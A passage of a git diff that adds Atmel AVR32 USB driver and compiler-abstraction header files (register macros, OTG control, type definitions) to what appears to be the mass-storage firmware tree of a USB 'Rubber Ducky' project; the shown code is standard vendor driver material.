USBB_EP_REG_SET(UECON,SHORTPACKETE,ep) + //! disables SHORT PACKET received interrupt +#define udd_disable_short_packet_interrupt(ep) USBB_EP_REG_CLR(UECON,SHORTPACKETE,ep) + //! tests if SHORT PACKET received interrupt is enabled +#define Is_udd_short_packet_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,SHORTPACKETE,ep) + + //! tests if SETUP received +#define Is_udd_setup_received(ep) USBB_EP_TST_BITS(UESTA,RXSTPI,ep) + //! acks SETUP received +#define udd_ack_setup_received(ep) USBB_EP_REG_CLR(UESTA,RXSTPI,ep) + //! raises SETUP received +#define udd_raise_setup_received(ep) USBB_EP_REG_SET(UESTA,RXSTPI,ep) + //! enables SETUP received interrupt +#define udd_enable_setup_received_interrupt(ep) USBB_EP_REG_SET(UECON,RXSTPE,ep) + //! disables SETUP received interrupt +#define udd_disable_setup_received_interrupt(ep) USBB_EP_REG_CLR(UECON,RXSTPE,ep) + //! tests if SETUP received interrupt is enabled +#define Is_udd_setup_received_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,RXSTPE,ep) + + //! tests if OUT received +#define Is_udd_out_received(ep) USBB_EP_TST_BITS(UESTA,RXOUTI,ep) + //! acks OUT received +#define udd_ack_out_received(ep) USBB_EP_REG_CLR(UESTA,RXOUTI,ep) + //! raises OUT received +#define udd_raise_out_received(ep) USBB_EP_REG_SET(UESTA,RXOUTI,ep) + //! enables OUT received interrupt +#define udd_enable_out_received_interrupt(ep) USBB_EP_REG_SET(UECON,RXOUTE,ep) + //! disables OUT received interrupt +#define udd_disable_out_received_interrupt(ep) USBB_EP_REG_CLR(UECON,RXOUTE,ep) + //! tests if OUT received interrupt is enabled +#define Is_udd_out_received_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,RXOUTE,ep) + + //! tests if IN sending +#define Is_udd_in_send(ep) USBB_EP_TST_BITS(UESTA,TXINI,ep) + //! acks IN sending +#define udd_ack_in_send(ep) USBB_EP_REG_CLR(UESTA,TXINI,ep) + //! raises IN sending +#define udd_raise_in_send(ep) USBB_EP_REG_SET(UESTA,TXINI,ep) + //! enables IN sending interrupt +#define udd_enable_in_send_interrupt(ep) USBB_EP_REG_SET(UECON,TXINE,ep) + //! disables IN sending interrupt +#define udd_disable_in_send_interrupt(ep) USBB_EP_REG_CLR(UECON,TXINE,ep) + //! tests if IN sending interrupt is enabled +#define Is_udd_in_send_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,TXINE,ep) + + + //! Get 64-, 32-, 16- or 8-bit access to FIFO data register of selected endpoint. + //! @param ep Endpoint of which to access FIFO data register + //! @param scale Data scale in bits: 64, 32, 16 or 8 + //! @return Volatile 64-, 32-, 16- or 8-bit data pointer to FIFO data register + //! @warning It is up to the user of this macro to make sure that all accesses + //! are aligned with their natural boundaries except 64-bit accesses which + //! require only 32-bit alignment. + //! @warning It is up to the user of this macro to make sure that used HSB + //! addresses are identical to the DPRAM internal pointer modulo 32 bits. +#define udd_get_endpoint_fifo_access(ep, scale) \ + (((volatile TPASTE2(U, scale) (*)[0x10000 / ((scale) / 8)])AVR32_USBB_SLAVE)[(ep)]) + +//! @name USBB endpoint DMA drivers +//! These macros manage the common features of the endpoint DMA channels. +//! @{ + + //! Maximum transfer size on USB DMA +#define UDD_ENDPOINT_MAX_TRANS 0x10000 + +#define udd_enable_endpoint_int_dis_hdma_req(ep) USBB_EP_REG_SET(UECON,EPDISHDMA,ep) +#define udd_disable_endpoint_int_dis_hdma_req(ep) USBB_EP_REG_CLR(UECON,EPDISHDMA,ep) +#define Is_udd_endpoint_int_dis_hdma_req_enabled(ep) USBB_EP_TST_BITS(UECON,EPDISHDMA,ep) + +#define udd_raise_endpoint_dma_interrupt(ep) \ + (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_DMA1INTS_MASK << ((ep) - 1)) +#define udd_clear_endpoint_dma_interrupt(ep) \ + (AVR32_USBB.udintclr = AVR32_USBB_UDINTSET_DMA1INTS_MASK << ((ep) - 1)) +#define Is_udd_endpoint_dma_interrupt(ep) \ + (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_DMA1INT_MASK << ((ep) - 1))) +#define udd_enable_endpoint_dma_interrupt(ep) \ + (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_DMA1INTES_MASK << ((ep) - 1)) +#define udd_disable_endpoint_dma_interrupt(ep) \ + (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_DMA1INTEC_MASK << ((ep) - 1)) +#define Is_udd_endpoint_dma_interrupt_enabled(ep) \ + (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_DMA1INTE_MASK << ((ep) - 1))) + + //! Access points to the USBB device DMA memory map with arrayed registers + //! @{ + //! Structure for DMA registers +typedef struct { + union { + unsigned long nextdesc; + avr32_usbb_uddma1_nextdesc_t NEXTDESC; + }; + unsigned long addr; + union { + unsigned long control; + avr32_usbb_uddma1_control_t CONTROL; + }; + union { + unsigned long status; + avr32_usbb_uddma1_status_t STATUS; + }; +} avr32_usbb_uddmax_t; + //! Structure for DMA registers +#define USBB_UDDMA_ARRAY(ep) \ + (((volatile avr32_usbb_uddmax_t *)&AVR32_USBB.uddma1_nextdesc)[(ep) - 1]) + + //! Set control desc to selected endpoint DMA channel +#define udd_endpoint_dma_set_control(ep,desc) (USBB_UDDMA_ARRAY(ep).control=desc) + //! Get control desc to selected endpoint DMA channel +#define udd_endpoint_dma_get_control(ep) (USBB_UDDMA_ARRAY(ep).control) + //! Set RAM address to selected endpoint DMA channel +#define udd_endpoint_dma_set_addr(ep,add) (USBB_UDDMA_ARRAY(ep).addr=add) + //! Get status to selected endpoint DMA channel +#define udd_endpoint_dma_get_status(ep) (USBB_UDDMA_ARRAY(ep).status) + //! @} +//! @} + +//! @} + +void udd_ep_abort(udd_ep_id_t ep); +bool udd_ep_set_halt(udd_ep_id_t ep); +bool udd_ep_wait_stall_clear(udd_ep_id_t ep,udd_callback_halt_cleared_t callback); +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback); +void udd_ep_free(udd_ep_id_t ep); +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize); + bool udd_ep_is_halted(udd_ep_id_t ep); + bool udd_ep_clear_halt(udd_ep_id_t ep); + + +#endif // _USBB_DEVICE_H_ + diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_otg.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_otg.h new file mode 100755 index 0000000..a8feb51 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_otg.h @@ -0,0 +1,268 @@ +/** + * \file + * + * \brief USBB OTG Driver header file. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _USBB_OTG_H_ +#define _USBB_OTG_H_ + +#include "compiler.h" +#include "preprocessor.h" + +// To simplify the macros definition of this file +#define USBB_CLR_BITS(reg, bit) \ + (Clr_bits(*(volatile unsigned long*)(&AVR32_USBB.reg),\ + TPASTE5(AVR32_USBB_,reg,_,bit,_MASK))) +#define USBB_SET_BITS(reg, bit) \ + (Set_bits(*(volatile unsigned long*)(&AVR32_USBB.reg),\ + TPASTE5(AVR32_USBB_,reg,_,bit,_MASK))) +#define USBB_TST_BITS(reg, bit) \ + (Tst_bits(*(volatile unsigned long*)(&AVR32_USBB.reg),\ + TPASTE5(AVR32_USBB_,reg,_,bit,_MASK))) +#define USBB_RD_BITFIELD(reg, bit) \ + (Rd_bitfield(*(volatile unsigned long*)(&AVR32_USBB.reg),\ + TPASTE5(AVR32_USBB_,reg,_,bit,_MASK))) +#define USBB_WR_BITFIELD(reg, bit, value) \ + (Wr_bitfield(*(volatile unsigned long*)(&AVR32_USBB.reg),\ + TPASTE5(AVR32_USBB_,reg,_,bit,_MASK),value)) +#define USBB_REG_CLR(reg, bit) \ + ((*(volatile unsigned long*)(&AVR32_USBB.TPASTE2(reg,CLR)) =\ + TPASTE5(AVR32_USBB_,reg,CLR_,bit,C_MASK))) +#define USBB_REG_SET(reg, bit) \ + ((*(volatile unsigned long*)(&AVR32_USBB.TPASTE2(reg,SET)) =\ + TPASTE5(AVR32_USBB_,reg,SET_,bit,S_MASK))) + +//! \ingroup usb_group +//! \defgroup otg_group USB OTG Driver (OTG) +//! USBB low-level driver for OTG features +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +/** + * \brief Initialize the dual role + * This function is implemented in usbb_host.c file. + * + * \return \c true if the ID pin management has been started, otherwise \c false. + */ +bool otg_dual_enable(void); + +/** + * \brief Uninitialize the dual role + * This function is implemented in usbb_host.c file. + */ +void otg_dual_disable(void); + +//! @name USBB IP properties +//! These macros give access to IP properties +//! @{ + //! Get IP name part 1 or 2 +#define otg_get_ip_name() (((uint64_t)AVR32_USBB.uname2<<32)|(uint64_t)AVR32_USBB.uname1) + //! Instruction to access at a peripheral register after interrupt clear, see AVR32002 - AVR32UC Technical reference $6.6 Memory barriers +#define otg_data_memory_barrier() (AVR32_USBB.uvers) + //! Get IP version +#define otg_get_ip_version() USBB_RD_BITFIELD(UVERS,VERSION_NUM) + //! Get DPRAM size (FIFO maximal size) in bytes +#define otg_get_dpram_size() (128 << USBB_RD_BITFIELD(UFEATURES,FIFO_MAX_SIZE)) + //! Get size of USBB PB address space +#define otg_get_ip_paddress_size() (AVR32_USBB.uaddrsize) +//! @} + +//! @name USBB OTG ID pin management +//! The ID pin come from the USB OTG connector (A and B receptable) and +//! allows to select the USB mode host or device. +//! The USBB hardware can manage it automaticaly. This feature is optional. +//! When otg_ID_PIN equals true in conf_usb_host.h, the USB_ID must be defined in board.h. +//! +//! @{ + +//! Pin and function for OTG_ID according to configuration from USB_ID +#define OTG_ID_PIN ATPASTE2(USB_ID, _PIN) +#define OTG_ID_FUNCTION ATPASTE2(USB_ID, _FUNCTION) + +//! Input USB_ID from its pin +#define otg_input_id_pin() {\ + (Tst_bits(OTG_ID_FUNCTION, 0x01)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0c = 1 << (OTG_ID_PIN & 0x1F)); \ + (Tst_bits(OTG_ID_FUNCTION, 0x02)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1c = 1 << (OTG_ID_PIN & 0x1F)); \ + AVR32_GPIO.port[OTG_ID_PIN >> 5].gperc = 1 << (OTG_ID_PIN & 0x1F);\ + AVR32_GPIO.port[OTG_ID_PIN >> 5].puers = 1 << (OTG_ID_PIN & 0x1F); } + +#define otg_enable_id_pin() USBB_SET_BITS(USBCON,UIDE) +#define otg_disable_id_pin() USBB_CLR_BITS(USBCON,UIDE) +#define otg_force_device_mode() USBB_SET_BITS(USBCON,UIMOD) +#define Is_otg_device_mode_forced() USBB_TST_BITS(USBCON,UIMOD) +#define otg_force_host_mode() USBB_CLR_BITS(USBCON,UIMOD) +#define Is_otg_host_mode_forced() (!Is_otg_device_mode_forced()) + +//! @name USBB OTG ID pin interrupt management +//! These macros manage the ID pin interrupt +//! @{ +#define otg_enable_id_interrupt() USBB_SET_BITS(USBCON,IDTE) +#define otg_disable_id_interrupt() USBB_CLR_BITS(USBCON,IDTE) +#define Is_otg_id_interrupt_enabled() USBB_TST_BITS(USBCON,IDTE) +#define Is_otg_id_device() USBB_TST_BITS(USBSTA,ID) +#define Is_otg_id_host() (!Is_otg_id_device()) +#define otg_ack_id_transition() USBB_REG_CLR(USBSTA,IDTI) +#define Is_otg_id_transition() USBB_TST_BITS(USBSTA,IDTI) +//! @} +//! @} + +//! @name USBB OTG Vbus management +//! @{ +#define otg_enable_vbus_interrupt() USBB_SET_BITS(USBCON,VBUSTE) +#define otg_disable_vbus_interrupt() USBB_CLR_BITS(USBCON,VBUSTE) +#define Is_otg_vbus_interrupt_enabled() USBB_TST_BITS(USBCON,VBUSTE) +#define Is_otg_vbus_high() USBB_TST_BITS(USBSTA,VBUS) +#define Is_otg_vbus_low() (!Is_otg_vbus_high()) +#define otg_ack_vbus_transition() USBB_REG_CLR(USBSTA,VBUSTI) +#define otg_raise_vbus_transition() USBB_REG_SET(USBSTA,VBUSTI) +#define Is_otg_vbus_transition() USBB_TST_BITS(USBSTA,VBUSTI) +//! @} + +//! @name USBB OTG main management +//! These macros allows to enable/disable pad and USBB hardware +//! @{ +#define otg_enable() USBB_SET_BITS(USBCON,USBE) +#define otg_disable() USBB_CLR_BITS(USBCON,USBE) +#define otg_enable_pad() USBB_SET_BITS(USBCON,OTGPADE) +#define otg_disable_pad() USBB_CLR_BITS(USBCON,OTGPADE) + +//! Check USB interface clock usable +#ifndef AVR32_USBB_USBSTA_SPEED_HIGH +# define Is_otg_clock_usable() USBB_TST_BITS(USBSTA,CLKUSABLE) +#else +// For parts with high speed feature, the "USABLE" clock is the UTMI clock. +// The UTMI clock is not always running (e.g. suspend mode in device mode). +// Thus the clock can not be checked. +// The final application must have a USB clock startup <= at the CPU clock startup. +# define Is_otg_clock_usable() true +#endif + +#define otg_freeze_clock() USBB_SET_BITS(USBCON,FRZCLK) +#define otg_unfreeze_clock() USBB_CLR_BITS(USBCON, FRZCLK) +#define Is_otg_clock_frozen() USBB_TST_BITS(USBCON,FRZCLK) + + +//! @} + +//! @name USBB OTG hardware protocol +//! These macros manages the hardware OTG protocol +//! @{ + +//! Configure time-out of specified OTG timer +#define otg_configure_timeout(timer, timeout) \ + (USBB_SET_BITS(USBCON,UNLOCK),\ + USBB_WR_BITFIELD(USBCON,TIMPAGE, timer),\ + USBB_WR_BITFIELD(USBCON,TIMVALUE, timeout),\ + USBB_CLR_BITS(USBCON,UNLOCK)) +//! Get configured time-out of specified OTG timer +#define otg_get_timeout(timer) \ + (USBB_SET_BITS(USBCON,UNLOCK),\ + USBB_WR_BITFIELD(USBCON,TIMPAGE, timer),\ + USBB_CLR_BITS(USBCON,UNLOCK),\ + USBB_RD_BITFIELD(USBCON,TIMVALUE)) +//! Get the dual-role device state of the internal USB finite state machine of the USBB controller +#define otg_get_fsm_drd_state() USBB_RD_BITFIELD(USBFSM,DRDSTATE) + +//! Host Negociation Protocol +//! @{ +#define otg_device_initiate_hnp() USBB_SET_BITS(USBCON,HNPREQ) +#define otg_host_accept_hnp() USBB_SET_BITS(USBCON,HNPREQ) +#define otg_host_reject_hnp() USBB_CLR_BITS(USBCON,HNPREQ) +#define Is_otg_hnp() USBB_TST_BITS(USBCON,HNPREQ) +#define otg_enable_hnp_error_interrupt() USBB_SET_BITS(USBCON,HNPERRE) +#define otg_disable_hnp_error_interrupt() USBB_CLR_BITS(USBCON,HNPERRE) +#define Is_otg_hnp_error_interrupt_enabled() USBB_TST_BITS(USBCON,HNPERRE) +#define otg_ack_hnp_error_interrupt() USBB_REG_CLR(USBSTA,HNPERRI) +#define Is_otg_hnp_error_interrupt() USBB_TST_BITS(USBSTA,HNPERRI) +//! @} + +//! Session Request Protocol +//! @{ +#define otg_device_initiate_srp() USBB_SET_BITS(USBCON,SRPREQ) +#define Is_otg_device_srp() USBB_TST_BITS(USBCON,SRPREQ) +#define otg_select_vbus_srp_method() USBB_SET_BITS(USBCON,SRPSEL) +#define Is_otg_vbus_srp_method_selected() USBB_TST_BITS(USBCON,SRPSEL) +#define otg_select_data_srp_method() USBB_CLR_BITS(USBCON,SRPSEL) +#define otg_enable_srp_interrupt() USBB_SET_BITS(USBCON,SRPE) +#define otg_disable_srp_interrupt() USBB_CLR_BITS(USBCON,SRPE) +#define Is_otg_srp_interrupt_enabled() USBB_TST_BITS(USBCON,SRPE) +#define otg_ack_srp_interrupt() USBB_REG_CLR(USBSTA,SRPI) +#define Is_otg_srp_interrupt() USBB_TST_BITS(USBSTA,SRPI) +//! @} + +//! Role exchange interrupt +//! @{ +#define otg_enable_role_exchange_interrupt() USBB_SET_BITS(USBCON,ROLEEXE) +#define otg_disable_role_exchange_interrupt() USBB_CLR_BITS(USBCON,ROLEEXE) +#define Is_otg_role_exchange_interrupt_enabled() USBB_TST_BITS(USBCON,ROLEEXE) +#define otg_ack_role_exchange_interrupt() USBB_REG_CLR(USBSTA,ROLEEXI) +#define Is_otg_role_exchange_interrupt() USBB_TST_BITS(USBSTA,ROLEEXI) +//! @} + +//! B-device connection error +//! The B-device connection must occur before 100ms after Vbus enable. +//! @{ +#define otg_enable_bconnection_error_interrupt() USBB_SET_BITS(USBCON,BCERRE) +#define otg_disable_bconnection_error_interrupt() USBB_CLR_BITS(USBCON,BCERRE) +#define Is_otg_bconnection_error_interrupt_enabled() USBB_TST_BITS(USBCON,BCERRE) +#define otg_ack_bconnection_error_interrupt() USBB_REG_CLR(USBSTA,BCERRI) +#define Is_otg_bconnection_error_interrupt() USBB_TST_BITS(USBSTA,BCERRI) +//! @} + +//! Suspend time out +//! The B-device must move in host mode before 200ms after a suspend state. +//! @{ +#define otg_enable_suspend_time_out_interrupt() USBB_SET_BITS(USBCON,STOE) +#define otg_disable_suspend_time_out_interrupt() USBB_CLR_BITS(USBCON,STOE) +#define Is_otg_suspend_time_out_interrupt_enabled() USBB_TST_BITS(USBCON,STOE) +#define otg_ack_suspend_time_out_interrupt() USBB_REG_CLR(USBSTA,STOI) +#define Is_otg_suspend_time_out_interrupt() USBB_TST_BITS(USBSTA,STOI) +//! @} + +//! @} + +//! @} + +#endif // _USBB_OTG_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/compiler.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/compiler.h new file mode 100755 index 0000000..6171db7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/compiler.h @@ -0,0 +1,1256 @@ +/** + * \file + * + * \brief Commonly used includes, types and macros. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _COMPILER_AVR32_H_ +#define _COMPILER_AVR32_H_ + +/** + * \defgroup group_avr32_utils Compiler abstraction layer and code utilities + * + * Compiler abstraction layer and code utilities for 32-bit AVR. + * This module provides various abstraction layers and utilities to make code compatible between different compilers. + * + * \{ + */ + +#if (defined __ICCAVR32__) +# include +#endif +#include "preprocessor.h" + +#include "parts.h" + + +//_____ D E C L A R A T I O N S ____________________________________________ + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +#include +#include +#include +#include + + +#if (defined __ICCAVR32__) + +/*! \name Compiler Keywords + * + * Port of some keywords from GNU GCC for AVR32 to IAR Embedded Workbench for Atmel AVR32. + */ +//! @{ +#define __asm__ asm +#define __inline__ inline +#define __volatile__ +//! @} + +#endif + +/** + * \def barrier + * \brief Memory barrier + */ +#if defined(__GNUC__) +# define barrier() asm volatile("" ::: "memory") +#elif defined(__ICCAVR32__) +# define barrier() __asm__ __volatile__ ("") +#endif + +/** + * \brief Emit the compiler pragma \a arg. + * + * \param arg The pragma directive as it would appear after \e \#pragma + * (i.e. not stringified). + */ +#define COMPILER_PRAGMA(arg) _Pragma(#arg) + +/** + * \def COMPILER_PACK_SET(alignment) + * \brief Set maximum alignment for subsequent struct and union + * definitions to \a alignment. + */ +#define COMPILER_PACK_SET(alignment) COMPILER_PRAGMA(pack(alignment)) + +/** + * \def COMPILER_PACK_RESET() + * \brief Set default alignment for subsequent struct and union + * definitions. + */ +#define COMPILER_PACK_RESET() COMPILER_PRAGMA(pack()) + + +/** + * \brief Set aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_ALIGNED(a) __attribute__((__aligned__(a))) +#elif (defined __ICCAVR32__) +#define COMPILER_ALIGNED(a) COMPILER_PRAGMA(data_alignment = a) +#endif + +/** + * \brief Set word-aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_WORD_ALIGNED __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#define COMPILER_WORD_ALIGNED COMPILER_PRAGMA(data_alignment = 4) +#endif + +/** + * \name System Register Access + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Get value of system register + * + * \param reg Address of the system register of which to get the value. + * + * \return Value of system register \a reg. + */ +# define sysreg_read(reg) __builtin_mfsr(reg) + +/** + * \name Tag functions as deprecated + * + * Tagging a function as deprecated will produce a warning when and only + * when the function is called. + * + * Usage is to add the __DEPRECATED__ symbol before the function definition. + * E.g.: + * __DEPRECATED__ uint8_t some_deprecated_function (void) + * { + * ... + * } + * + * \note Only supported by GCC 3.1 and above, no IAR support + * @{ + */ +#if ((defined __GNUC__) && (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >=1))) +#define __DEPRECATED__ __attribute__((__deprecated__)) +#else +#define __DEPRECATED__ +#endif +//! @} + +/** + * \brief Set value of system register + * + * \param reg Address of the system register of which to set the value. + * \param val Value to set the system register \a reg to. + */ +# define sysreg_write(reg, val) __builtin_mtsr(reg, val) + +#elif defined(__ICCAVR32__) +# define sysreg_read(reg) __get_system_register(reg) +# define sysreg_write(reg, val) __set_system_register(reg, val) +#endif + +// Deprecated definitions +#define Get_system_register(reg) sysreg_read(reg) +#define Set_system_register(reg, val) sysreg_write(reg, val) +//! @} + +#include "interrupt.h" + +/*! \name Usual Types + */ +//! @{ +typedef unsigned char Bool; //!< Boolean. +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +typedef unsigned char bool; //!< Boolean. +#endif +#endif +typedef int8_t S8 ; //!< 8-bit signed integer. +typedef uint8_t U8 ; //!< 8-bit unsigned integer. +typedef int16_t S16; //!< 16-bit signed integer. +typedef uint16_t U16; //!< 16-bit unsigned integer. +typedef uint16_t le16_t; +typedef uint16_t be16_t; +typedef int32_t S32; //!< 32-bit signed integer. +typedef uint32_t U32; //!< 32-bit unsigned integer. +typedef uint32_t le32_t; +typedef uint32_t be32_t; +typedef signed long long int S64; //!< 64-bit signed integer. +typedef unsigned long long int U64; //!< 64-bit unsigned integer. +typedef float F32; //!< 32-bit floating-point number. +typedef double F64; //!< 64-bit floating-point number. +typedef uint32_t iram_size_t; +//! @} + + +/*! \name Status Types + */ +//! @{ +typedef bool Status_bool_t; //!< Boolean status. +typedef U8 Status_t; //!< 8-bit-coded status. +//! @} + + +/*! \name Aliasing Aggregate Types + */ +//! @{ + +//! 16-bit union. +typedef union +{ + S16 s16 ; + U16 u16 ; + S8 s8 [2]; + U8 u8 [2]; +} Union16; + +//! 32-bit union. +typedef union +{ + S32 s32 ; + U32 u32 ; + S16 s16[2]; + U16 u16[2]; + S8 s8 [4]; + U8 u8 [4]; +} Union32; + +//! 64-bit union. +typedef union +{ + S64 s64 ; + U64 u64 ; + S32 s32[2]; + U32 u32[2]; + S16 s16[4]; + U16 u16[4]; + S8 s8 [8]; + U8 u8 [8]; +} Union64; + +//! Union of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} UnionPtr; + +//! Union of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} UnionVPtr; + +//! Union of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} UnionCPtr; + +//! Union of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} UnionCVPtr; + +//! Structure of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} StructPtr; + +//! Structure of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} StructVPtr; + +//! Structure of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} StructCPtr; + +//! Structure of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} StructCVPtr; + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +//_____ M A C R O S ________________________________________________________ + +/*! \name Usual Constants + */ +//! @{ +#define DISABLE 0 +#define ENABLE 1 +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +#define false 0 +#define true 1 +#endif +#endif +#define PASS 0 +#define FAIL 1 +#define LOW 0 +#define HIGH 1 +//! @} + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! \name Optimization Control +//@{ + +/** + * \def likely(exp) + * \brief The expression \a exp is likely to be true + */ +#ifndef likely +# define likely(exp) (exp) +#endif + +/** + * \def unlikely(exp) + * \brief The expression \a exp is unlikely to be true + */ +#ifndef unlikely +# define 